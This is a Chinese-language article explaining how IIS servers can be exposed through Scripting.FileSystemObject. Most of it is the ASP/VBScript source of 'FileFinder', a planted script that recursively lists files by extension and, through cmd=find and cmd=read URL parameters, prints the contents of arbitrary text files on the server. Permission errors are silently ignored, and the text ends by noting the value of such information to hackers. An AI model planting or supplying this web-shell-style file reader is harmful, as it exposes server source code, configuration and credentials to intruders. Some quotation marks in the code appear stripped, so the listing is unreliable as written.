scripting.filesystemobject 對像是由scrrun.dll 提供的許多供vbscript/jscript 控制的com 對象之一。 scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問,但是同時也對iis web 服務器數據安全造成了一定的威脅。
filefinder 的代碼很簡單,由3 個函數和30 行左右的順序代碼構成。
最關鍵的是findfiles 函數,通過對它的遞歸調用實現對某個目錄的遍歷,並且按照特定的文件擴展名來搜尋這些文件。
function findfiles(strstartfolder, strext)
dim n
dim othisfolder
dim ofolders
dim ofiles
dim ofolder
dim ofile
' 如果系統管理員對文件系統的權限進行細緻的設置話,下面的代碼就要出錯
' 但是有些目錄還是可以察看的,所以我們簡單的把錯誤忽略過去
on error resume next
n = 0
response.write <b>searching & strstartfolder & </b><br>
set othisfolder = g_fs.getfolder(strstartfolder)
set ofiles = othisfolder.files
for each ofile in ofiles
' 如果是指定的文件擴展名,輸出連接導向本身,但用不同的命令cmd
' 在這裡是cmd=read,即讀出指定物理路徑的文本文件
if issuffix(ofile.path, strext) then
response.write <a target=_blank href='ff.asp?cmd=read&path= & server.htmlencode(ofile.path) & '><font color='dodgerblue'> & ofile.path & </font></a><br>
if err = 0 then
n = n + 1
end if
end if
next
set ofolders = othisfolder.subfolders
for each ofolder in ofolders
n = n + findfiles(ofolder.path, strext)
next
findfiles = n
end function
下面的代碼是對url 後面的參數進行分析:
' 讀出各個參數的值
strcmd = ucase(request.querystring(cmd))
strpath = request.querystring(path)
strext = request.querystring(ext)
brawdata = ucase(request.querystring(raw))
' 默認搜索.asp 文件
if strpath = then
strpath = .
end if
if strext = then
strext = .asp
end if
' 根據不同的命令cmd 執行不同的代碼
select case strcmd
case find
response.write findfiles(strpath, strext) & file(s) found
case read
if brawdata = t then
response.write readtextfile(strpath)
else
response.write <pre> & server.htmlencode(readtextfile(strpath)) & </pre>
end if
case else
response.write <h3>please specify a command to execute</h3>
end select
從上面的分析可以看出,如果有足夠的權限的話,我們就可以通過filefinder 來查找iis web 服務器上的任意文本文件,並且可以輕鬆的察看文件內容。對於非文本文件,可以確定他們是否存在及其所在路徑,這對於高級hacker 們來說,這些信息有時是極其重要的。